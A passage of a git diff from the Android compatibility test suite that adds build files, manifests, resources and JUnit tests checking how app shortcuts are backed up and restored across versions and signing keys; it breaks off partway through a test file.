-LOCAL_STATIC_JAVA_LIBRARIES := \
- compatibility-device-util \
-
-LOCAL_SRC_FILES := \
- $(call all-java-files-under, src) \
-
-LOCAL_SDK_VERSION := 25
-
# Tag this module as a cts test artifact
LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_PACKAGE_NAME := CtsAppTestSdk25
+LOCAL_PACKAGE_NAME := CtsShortcutBackupPublisher4new_nomanifest
-include $(BUILD_CTS_SUPPORT_PACKAGE)
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, ../publisher4old/src) \
+ $(call all-java-files-under, ../../common/src)
+
+LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/../publisher4old/res
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ android-support-test \
+ android-support-v4 \
+ mockito-target-minus-junit4 \
+ compatibility-device-util \
+ ctstestrunner \
+ ub-uiautomator \
+ ShortcutManagerTestUtils
+
+LOCAL_SDK_VERSION := current
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowapp/AndroidManifest.xml b/hostsidetests/shortcuts/deviceside/backup/publisher4new_nomanifest/AndroidManifest.xml
old mode 100755
new mode 100644
similarity index 67%
copy from hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowapp/AndroidManifest.xml
copy to hostsidetests/shortcuts/deviceside/backup/publisher4new_nomanifest/AndroidManifest.xml
index 9c6a6ad..ccf0382
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowapp/AndroidManifest.xml
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4new_nomanifest/AndroidManifest.xml
@@ -14,20 +14,22 @@
* See the License for the specific language governing permissions and
* limitations under the License.
-->
-
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- xmlns:androidprv="http://schemas.android.com/apk/prv/res/android"
- package="android.server.alertwindowapp">
- <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
+ package="android.content.pm.cts.shortcut.backup.publisher4"
+ android:versionCode="11">
- <application android:label="CtsAlertWindow">
- <activity android:name=".AlertWindowTestActivity"
- android:exported="true" android:windowSoftInputMode="stateAlwaysVisible">
+ <application>
+ <activity android:name="MainActivity" android:exported="true" >
<intent-filter>
- <action android:name="android.intent.action.MAIN"/>
- <category android:name="android.intent.category.LAUNCHER"/>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.DEFAULT" />
+ <category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
</application>
+
+ <instrumentation
+ android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.content.pm.cts.shortcut.backup.publisher4" />
</manifest>
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4new_wrongkey/Android.mk b/hostsidetests/shortcuts/deviceside/backup/publisher4new_wrongkey/Android.mk
new file mode 100644
index 0000000..9d4739e
--- /dev/null
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4new_wrongkey/Android.mk
@@ -0,0 +1,46 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_PACKAGE_NAME := CtsShortcutBackupPublisher4new_wrongkey
+
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, ../publisher4old/src) \
+ $(call all-java-files-under, ../../common/src)
+
+LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/../publisher4old/res
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ android-support-test \
+ android-support-v4 \
+ mockito-target-minus-junit4 \
+ compatibility-device-util \
+ ctstestrunner \
+ ub-uiautomator \
+ ShortcutManagerTestUtils
+
+LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
+
+LOCAL_SDK_VERSION := current
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4new_wrongkey/AndroidManifest.xml b/hostsidetests/shortcuts/deviceside/backup/publisher4new_wrongkey/AndroidManifest.xml
new file mode 100644
index 0000000..33e5121
--- /dev/null
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4new_wrongkey/AndroidManifest.xml
@@ -0,0 +1,45 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.content.pm.cts.shortcut.backup.publisher4"
+ android:versionCode="11">
+
+ <application android:allowBackup="false">
+ <activity android:name="MainActivity" android:exported="true" >
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.DEFAULT" />
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ <meta-data android:name="android.app.shortcuts" android:resource="@xml/shortcuts"/>
+ </activity>
+ <activity-alias android:name="MainActivity2"
+ android:targetActivity="android.content.pm.cts.shortcut.backup.publisher4.MainActivity"
+ android:exported="true" >
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.DEFAULT" />
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ </activity-alias>
+ </application>
+
+ <instrumentation
+ android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.content.pm.cts.shortcut.backup.publisher4" />
+</manifest>
+
diff --git a/tests/app/appSdk25/Android.mk b/hostsidetests/shortcuts/deviceside/backup/publisher4old/Android.mk
similarity index 64%
copy from tests/app/appSdk25/Android.mk
copy to hostsidetests/shortcuts/deviceside/backup/publisher4old/Android.mk
index 36c6d07..b7187f0 100644
--- a/tests/app/appSdk25/Android.mk
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4old/Android.mk
@@ -16,20 +16,27 @@
include $(CLEAR_VARS)
-# Don't include this package in any target.
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
- compatibility-device-util \
-
-LOCAL_SRC_FILES := \
- $(call all-java-files-under, src) \
-
-LOCAL_SDK_VERSION := 25
-
# Tag this module as a cts test artifact
LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_PACKAGE_NAME := CtsAppTestSdk25
+LOCAL_PACKAGE_NAME := CtsShortcutBackupPublisher4old
-include $(BUILD_CTS_SUPPORT_PACKAGE)
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src) \
+ $(call all-java-files-under, ../../common/src)
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ android-support-test \
+ android-support-v4 \
+ mockito-target-minus-junit4 \
+ compatibility-device-util \
+ ctstestrunner \
+ ub-uiautomator \
+ ShortcutManagerTestUtils
+
+LOCAL_SDK_VERSION := current
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4old/AndroidManifest.xml b/hostsidetests/shortcuts/deviceside/backup/publisher4old/AndroidManifest.xml
new file mode 100644
index 0000000..149c351
--- /dev/null
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4old/AndroidManifest.xml
@@ -0,0 +1,45 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.content.pm.cts.shortcut.backup.publisher4"
+ android:versionCode="10">
+
+ <application>
+ <activity android:name="MainActivity" android:exported="true" >
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.DEFAULT" />
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ <meta-data android:name="android.app.shortcuts" android:resource="@xml/shortcuts"/>
+ </activity>
+ <activity-alias android:name="MainActivity2"
+ android:targetActivity="android.content.pm.cts.shortcut.backup.publisher4.MainActivity"
+ android:exported="true" >
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.DEFAULT" />
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ </activity-alias>
+ </application>
+
+ <instrumentation
+ android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.content.pm.cts.shortcut.backup.publisher4" />
+</manifest>
+
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4old/res/drawable-nodpi/black_16x16.png b/hostsidetests/shortcuts/deviceside/backup/publisher4old/res/drawable-nodpi/black_16x16.png
new file mode 100644
index 0000000..a26da5c
--- /dev/null
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4old/res/drawable-nodpi/black_16x16.png
Binary files differ
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4old/res/drawable-nodpi/black_16x64.png b/hostsidetests/shortcuts/deviceside/backup/publisher4old/res/drawable-nodpi/black_16x64.png
new file mode 100644
index 0000000..ed049fa
--- /dev/null
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4old/res/drawable-nodpi/black_16x64.png
Binary files differ
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4old/res/drawable-nodpi/black_64x16.png b/hostsidetests/shortcuts/deviceside/backup/publisher4old/res/drawable-nodpi/black_64x16.png
new file mode 100644
index 0000000..a0983c7
--- /dev/null
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4old/res/drawable-nodpi/black_64x16.png
Binary files differ
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4old/res/values/strings.xml b/hostsidetests/shortcuts/deviceside/backup/publisher4old/res/values/strings.xml
new file mode 100644
index 0000000..5872ed1
--- /dev/null
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4old/res/values/strings.xml
@@ -0,0 +1,37 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<resources xmlns:xliff="urn:oasis:names:tc:xliff:document:1.2">
+ <string name="label1">Shortcut 1</string>
+ <string name="long_label1">Long shortcut label1</string>
+ <string name="disabled_message1">Shortcut 1 is disabled</string>
+
+ <string name="label2">Shortcut 2</string>
+ <string name="long_label2">Long shortcut label2</string>
+ <string name="disabled_message2">Shortcut 2 is disabled</string>
+
+ <string name="label3">Shortcut 3</string>
+ <string name="long_label3">Long shortcut label3</string>
+ <string name="disabled_message3">Shortcut 3 is disabled</string>
+
+ <string name="label4">Shortcut 4</string>
+ <string name="long_label4">Long shortcut label4</string>
+ <string name="disabled_message4">Shortcut 4 is disabled</string>
+
+ <string name="label5">Shortcut 5</string>
+ <string name="long_label5">Long shortcut label5</string>
+ <string name="disabled_message5">Shortcut 5 is disabled</string>
+</resources>
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4old/res/xml/shortcuts.xml b/hostsidetests/shortcuts/deviceside/backup/publisher4old/res/xml/shortcuts.xml
new file mode 100644
index 0000000..11cede6
--- /dev/null
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4old/res/xml/shortcuts.xml
@@ -0,0 +1,46 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<shortcuts xmlns:android="http://schemas.android.com/apk/res/android" >
+ <shortcut
+ android:shortcutId="ms1"
+ android:icon="@drawable/black_16x16"
+ android:shortcutShortLabel="@string/label1"
+ android:shortcutLongLabel="@string/long_label1"
+ android:shortcutDisabledMessage="@string/disabled_message1">
+ <intent
+ android:action="android.intent.action.VIEW" />
+ <categories android:name="android.shortcut.conversation" />
+ <categories android:name="android.shortcut.media" />
+ </shortcut>
+ <shortcut
+ android:shortcutId="ms2"
+ android:shortcutShortLabel="@string/label2">
+ android:shortcutLongLabel="@string/long_label2">
+ <intent android:action="action" />
+ <intent android:action="action2"
+ android:data="data"
+ android:mimeType="a/b"
+ android:targetPackage="pkg"
+ android:targetClass="pkg.class"
+ >
+ <categories android:name="icat1"/>
+ <categories android:name="icat2"/>
+ <extra android:name="key1" android:value="value1" />
+ <extra android:name="key2" android:value="123" />
+ <extra android:name="key3" android:value="true" />
+ </intent>
+ </shortcut>
+</shortcuts>
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ResumeWhilePausingActivity.java b/hostsidetests/shortcuts/deviceside/backup/publisher4old/src/android/content/pm/cts/shortcut/backup/publisher4/MainActivity.java
similarity index 85%
copy from hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ResumeWhilePausingActivity.java
copy to hostsidetests/shortcuts/deviceside/backup/publisher4old/src/android/content/pm/cts/shortcut/backup/publisher4/MainActivity.java
index 578d7e5..62acf9d 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ResumeWhilePausingActivity.java
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4old/src/android/content/pm/cts/shortcut/backup/publisher4/MainActivity.java
@@ -13,11 +13,9 @@
* See the License for the specific language governing permissions and
* limitations under the License.
*/
-
-package android.server.cts;
+package android.content.pm.cts.shortcut.backup.publisher4;
import android.app.Activity;
-public class ResumeWhilePausingActivity extends Activity {
- // Empty
+public class MainActivity extends Activity {
}
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4old/src/android/content/pm/cts/shortcut/backup/publisher4/ShortcutManagerPostBackupTest.java b/hostsidetests/shortcuts/deviceside/backup/publisher4old/src/android/content/pm/cts/shortcut/backup/publisher4/ShortcutManagerPostBackupTest.java
new file mode 100644
index 0000000..224c8ba
--- /dev/null
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4old/src/android/content/pm/cts/shortcut/backup/publisher4/ShortcutManagerPostBackupTest.java
@@ -0,0 +1,339 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.content.pm.cts.shortcut.backup.publisher4;
+
+import static com.android.server.pm.shortcutmanagertest.ShortcutManagerTestUtils.assertWith;
+import static com.android.server.pm.shortcutmanagertest.ShortcutManagerTestUtils.list;
+import static com.android.server.pm.shortcutmanagertest.ShortcutManagerTestUtils.setDefaultLauncher;
+
+import android.app.PendingIntent;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.pm.ShortcutInfo;
+import android.content.pm.cts.shortcut.device.common.ShortcutManagerDeviceTestBase;
+import android.os.PersistableBundle;
+import android.text.TextUtils;
+
+import java.security.SecureRandom;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+public class ShortcutManagerPostBackupTest extends ShortcutManagerDeviceTestBase {
+ public void testRestoredOnOldVersion() {
+ assertWith(getManager().getDynamicShortcuts())
+ .isEmpty();
+
+ assertWith(getManager().getPinnedShortcuts())
+ .haveIds("ms1", "ms2")
+ .areAllEnabled();
+
+ assertWith(getManager().getManifestShortcuts())
+ .haveIds("ms1", "ms2")
+ .areAllPinned()
+ .areAllEnabled();
+
+ // At this point, s1 and s2 don't look to exist to the publisher, so it can publish a
+ // dynamic shortcut and that should work.
+ // But updateShortcuts() don't.
+
+ final ShortcutInfo s1 = new ShortcutInfo.Builder(getContext(), "s1")
+ .setShortLabel("shortlabel1_new_one")
+ .setActivity(getActivity("MainActivity"))
+ .setIntents(new Intent[]{new Intent("main")})
+ .build();
+
+ assertTrue(getManager().addDynamicShortcuts(list(s1)));
+
+ final ShortcutInfo s2 = new ShortcutInfo.Builder(getContext(), "s2")
+ .setShortLabel("shortlabel2_updated")
+ .build();
+ assertTrue(getManager().updateShortcuts(list(s2)));
+
+ assertWith(getManager().getDynamicShortcuts())
+ .haveIds("s1") // s2 not in the list.
+ .areAllEnabled();
+
+ assertWith(getManager().getPinnedShortcuts())
+ .haveIds("ms1", "ms2", "s1") // s2 not in the list.
+ .areAllEnabled();
+
+ }
+
+ public void testRestoredOnNewVersion() {
+ assertWith(getManager().getDynamicShortcuts())
+ .haveIds("s1")
+ .areAllEnabled()
+ .areAllPinned();
+
+ assertWith(getManager().getManifestShortcuts())
+ .haveIds("ms1", "ms2")
+ .areAllPinned()
+ .areAllEnabled();
+
+ assertWith(getManager().getPinnedShortcuts())
+ .haveIds("ms1", "ms2", "s1", "s2")
+ .areAllEnabled();
+
+ // This time, update should work.
+ final ShortcutInfo s2 = new ShortcutInfo.Builder(getContext(), "s2")
+ .setShortLabel("shortlabel2_updated")
+ .build();
+ assertTrue(getManager().updateShortcuts(list(s2)));
+
+ assertWith(getManager().getPinnedShortcuts())
+ .selectByIds("s2")
+ .forAllShortcuts(si -> {
+ assertEquals("shortlabel2_updated", si.getShortLabel());
+ });
+ }
+
+ public void testBackupDisabled() {
+ assertWith(getManager().getDynamicShortcuts())
+ .isEmpty();
+
+ assertWith(getManager().getPinnedShortcuts())
+ .haveIds("ms1", "ms2")
+ .areAllEnabled();
+
+ assertWith(getManager().getManifestShortcuts())
+ .haveIds("ms1", "ms2")
+ .areAllPinned()
+ .areAllEnabled();
+
+ // Backup was disabled, so either s1 nor s2 look to be restored to the app.
+ // So when the app publishes s1, it'll be published as new.
+ // But it'll still be pinned.
+ final ShortcutInfo s1 = new ShortcutInfo.Builder(getContext(), "s1")
+ .setShortLabel("shortlabel1_new_one")
+ .setActivity(getActivity("MainActivity"))
+ .setIntents(new Intent[]{new Intent("main")})
+ .build();
+
+ assertTrue(getManager().addDynamicShortcuts(list(s1)));
+
+ assertWith(getManager().getDynamicShortcuts())
+ .haveIds("s1") // s2 not in the list.
+ .areAllPinned()
+ .areAllEnabled()
+ .forAllShortcuts(si -> {
+ // The app re-published the shortcut, not updated, so the fields that existed
+ // in the original shortcut is gone now.
+ assertNull(si.getExtras());
+ });
+ }
+
+ public void testRestoreWrongKey() {
+ // Restored pinned shortcuts are from a package with a different signature, so the dynamic
+ // pinned shortcuts should be disabled-invisible.
+
+ assertWith(getManager().getDynamicShortcuts())
+ .isEmpty();
+
+ assertWith(getManager().getPinnedShortcuts())
+ .haveIds("ms1", "ms2");
+
+ assertWith(getManager().getManifestShortcuts())
+ .haveIds("ms1", "ms2")
+ .areAllPinned()
+ .areAllEnabled();
+
+ final ShortcutInfo s1 = new ShortcutInfo.Builder(getContext(), "s1")
+ .setShortLabel("shortlabel1_new_one")
+ .setActivity(getActivity("MainActivity"))
+ .setIntents(new Intent[]{new Intent("main")})
+ .build();
+
+ assertTrue(getManager().addDynamicShortcuts(list(s1)));
+
+ final ShortcutInfo s2 = new ShortcutInfo.Builder(getContext(), "s2")
+ .setShortLabel("shortlabel2_updated")
+ .build();
+ assertTrue(getManager().updateShortcuts(list(s2)));
+
+ assertWith(getManager().getDynamicShortcuts())
+ .haveIds("s1") // s2 not in the list.
+ .areAllEnabled();
+ }
+
+ /**
+ * Restored on an older version that have no manifest shortcuts.
+ *
+ * In this case, the publisher wouldn't see the manifest shortcuts, and they're overwritable.
+ */
+ public void testRestoreNoManifestOnOldVersion() {
+ assertWith(getManager().getManifestShortcuts())
+ .isEmpty();
+
+ assertWith(getManager().getDynamicShortcuts())
+ .isEmpty();
+
+ assertWith(getManager().getPinnedShortcuts())
+ .isEmpty();
+
+ // ms1 was manifest/immutable, but can be overwritten.
+ final ShortcutInfo ms1 = new ShortcutInfo.Builder(getContext(), "ms1")
+ .setShortLabel("ms1_new_one")
+ .setActivity(getActivity("MainActivity"))
+ .setIntents(new Intent[]{new Intent("main")})
+ .build();
+
+ assertTrue(getManager().setDynamicShortcuts(list(ms1)));
+
+ assertWith(getManager().getDynamicShortcuts())
+ .haveIds("ms1");
+ assertWith(getManager().getPinnedShortcuts())
+ .haveIds("ms1");
+
+ // Adding s1 should also work.
+ final ShortcutInfo s1 = new ShortcutInfo.Builder(getContext(), "s1")
+ .setShortLabel("s1_new_one")
+ .setActivity(getActivity("MainActivity"))
+ .setIntents(new Intent[]{new Intent("main")})
+ .build();
+
+ assertTrue(getManager().addDynamicShortcuts(list(s1)));
+
+ assertWith(getManager().getDynamicShortcuts())
+ .haveIds("s1", "ms1");
+ assertWith(getManager().getPinnedShortcuts())
+ .haveIds("s1", "ms1");
+
+ // Update on ms2 should be no-op.
+ final ShortcutInfo ms2 = new ShortcutInfo.Builder(getContext(), "ms2")
+ .setShortLabel("ms2-updated")
+ .build();
+ assertTrue(getManager().updateShortcuts(list(ms2)));
+
+ assertWith(getManager().getManifestShortcuts())
+ .isEmpty();
+ assertWith(getManager().getDynamicShortcuts())
+ .haveIds("s1", "ms1")
+ .areAllEnabled()
+ .areAllPinned()
+ .areAllMutable()
+
+ .selectByIds("s1")
+ .forAllShortcuts(si -> {
+ assertEquals("s1_new_one", si.getShortLabel());
+ })
+
+ .revertToOriginalList()
+ .selectByIds("ms1")
+ .forAllShortcuts(si -> {
+ assertEquals("ms1_new_one", si.getShortLabel());
+ });
+ }
+
+ /**
+ * Restored on the same (or newer) version that have no manifest shortcuts.
+ *
+ * In this case, the publisher will see the manifest shortcuts (as immutable pinned),
+ * and they *cannot* be overwritten.
+ */
+ public void testRestoreNoManifestOnNewVersion() {
+ assertWith(getManager().getManifestShortcuts())
+ .isEmpty();
+
+ assertWith(getManager().getDynamicShortcuts())
+ .isEmpty();
+
+ assertWith(getManager().getPinnedShortcuts())
+ .haveIds("ms1", "ms2", "s1", "s2")
+ .selectByIds("ms1", "ms2")
+ .areAllDisabled()
+
+ .revertToOriginalList()
+ .selectByIds("s1", "s2")
+ .areAllEnabled();
+ }
+
+ private void assertNoShortcuts() {
+ assertWith(getManager().getDynamicShortcuts()).isEmpty();
+ assertWith(getManager().getPinnedShortcuts()).isEmpty();
+ assertWith(getManager().getManifestShortcuts()).isEmpty();
+ }
+
+ public void testInvisibleIgnored() throws Exception {
+ assertNoShortcuts();
+
+ // Make sure "disable" won't change the disabled reason. Also make sure "enable" won't
+ // enable them.
+ getManager().disableShortcuts(list("s1", "s2", "ms1"));
+ assertNoShortcuts();
+
+ getManager().enableShortcuts(list("ms1", "s2"));
+ assertNoShortcuts();
+
+ getManager().enableShortcuts(list("ms1"));
+ assertNoShortcuts();
+
+ getManager().removeDynamicShortcuts(list("s1", "ms1"));
+ assertNoShortcuts();
+
+ getManager().removeAllDynamicShortcuts();
+ assertNoShortcuts();
+
+
+ // Force launcher 4 to be the default launcher so it'll receive the pin request.
+ setDefaultLauncher(getInstrumentation(),
+ "android.content.pm.cts.shortcut.backup.launcher4/.MainActivity");
+
+ // Update, set and add have been tested already, so let's test "pin".
+
+ final CountDownLatch latch = new CountDownLatch(1);
+
+ PersistableBundle pb = new PersistableBundle();
+ pb.putBoolean("acceptit", true);
+
+ final ShortcutInfo ms2 = new ShortcutInfo.Builder(getContext(), "ms2")
+ .setShortLabel("ms2_new_one")
+ .setActivity(getActivity("MainActivity"))
+ .setIntents(new Intent[]{new Intent("main2")})
+ .setExtras(pb)
+ .build();
+
+ final String myIntentAction = "cts-shortcut-intent_" + new SecureRandom().nextInt();
+ final IntentFilter myFilter = new IntentFilter(myIntentAction);
+
+ final BroadcastReceiver onResult = new BroadcastReceiver() {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ latch.countDown();
+ }
+ };
+ getContext().registerReceiver(onResult, myFilter);
+ assertTrue(getManager().requestPinShortcut(ms2,
+ PendingIntent.getBroadcast(getContext(), 0, new Intent(myIntentAction),
+ PendingIntent.FLAG_CANCEL_CURRENT).getIntentSender()));
+
+ assertTrue("Didn't receive requestPinShortcut() callback.",
+ latch.await(30, TimeUnit.SECONDS));
+
+ assertWith(getManager().getPinnedShortcuts())
+ .haveIds("ms2")
+ .areAllNotDynamic()
+ .areAllNotManifest()
+ .areAllMutable()
+ .areAllPinned()
+ .forAllShortcuts(si -> {
+ // requestPinShortcut() acts as an update in this case, so even though
+ // the original shortcut hada long label, this one does not.
+ assertTrue(TextUtils.isEmpty(si.getLongLabel()));
+ });
+ }
+}
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4old/src/android/content/pm/cts/shortcut/backup/publisher4/ShortcutManagerPreBackupTest.java b/hostsidetests/shortcuts/deviceside/backup/publisher4old/src/android/content/pm/cts/shortcut/backup/publisher4/ShortcutManagerPreBackupTest.java
new file mode 100644
index 0000000..15b3853
--- /dev/null
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4old/src/android/content/pm/cts/shortcut/backup/publisher4/ShortcutManagerPreBackupTest.java
@@ -0,0 +1,71 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.content.pm.cts.shortcut.backup.publisher4;
+
+import static com.android.server.pm.shortcutmanagertest.ShortcutManagerTestUtils.assertWith;
+import static com.android.server.pm.shortcutmanagertest.ShortcutManagerTestUtils.list;
+import static com.android.server.pm.shortcutmanagertest.ShortcutManagerTestUtils.makePersistableBundle;
+import static com.android.server.pm.shortcutmanagertest.ShortcutManagerTestUtils.set;
+
+import android.content.Intent;
+import android.content.pm.ShortcutInfo;
+import android.content.pm.cts.shortcut.device.common.ShortcutManagerDeviceTestBase;
+import android.graphics.BitmapFactory;
+import android.graphics.drawable.Icon;
+import android.test.suitebuilder.annotation.SmallTest;
+
+@SmallTest
+public class ShortcutManagerPreBackupTest extends ShortcutManagerDeviceTestBase {
+ public void testPreBackup() {
+ final Icon icon1 = Icon.createWithBitmap(BitmapFactory.decodeResource(
+ getContext().getResources(), R.drawable.black_16x64));
+ final Icon icon3 = Icon.createWithResource(getContext(), R.drawable.black_64x16);
+
+ final ShortcutInfo s1 = new ShortcutInfo.Builder(getContext(), "s1")
+ .setShortLabel("shortlabel1")
+ .setLongLabel("longlabel1")
+ .setIcon(icon1)
+ .setActivity(getActivity("MainActivity"))
+ .setDisabledMessage("disabledmessage1")
+ .setIntents(new Intent[]{new Intent("view").putExtra("k1", "v1")})
+ .setExtras(makePersistableBundle("ek1", "ev1"))
+ .setCategories(set("cat1"))
+ .build();
+
+ final ShortcutInfo s2 = new ShortcutInfo.Builder(getContext(), "s2")
+ .setShortLabel("shortlabel2")
+ .setActivity(getActivity("MainActivity2"))
+ .setIntents(new Intent[]{new Intent("main")})
+ .build();
+
+ final ShortcutInfo s3 = new ShortcutInfo.Builder(getContext(), "s3")
+ .setShortLabel("shortlabel3")
+ .setIcon(icon3)
+ .setActivity(getActivity("MainActivity2"))
+ .setIntents(new Intent[]{new Intent("main")})
+ .build();
+
+ assertTrue(getManager().setDynamicShortcuts(list(s1, s2, s3)));
+
+ assertWith(getManager().getDynamicShortcuts())
+ .haveIds("s1", "s2", "s3")
+ .areAllNotPinned();
+
+ assertWith(getManager().getManifestShortcuts())
+ .haveIds("ms1", "ms2")
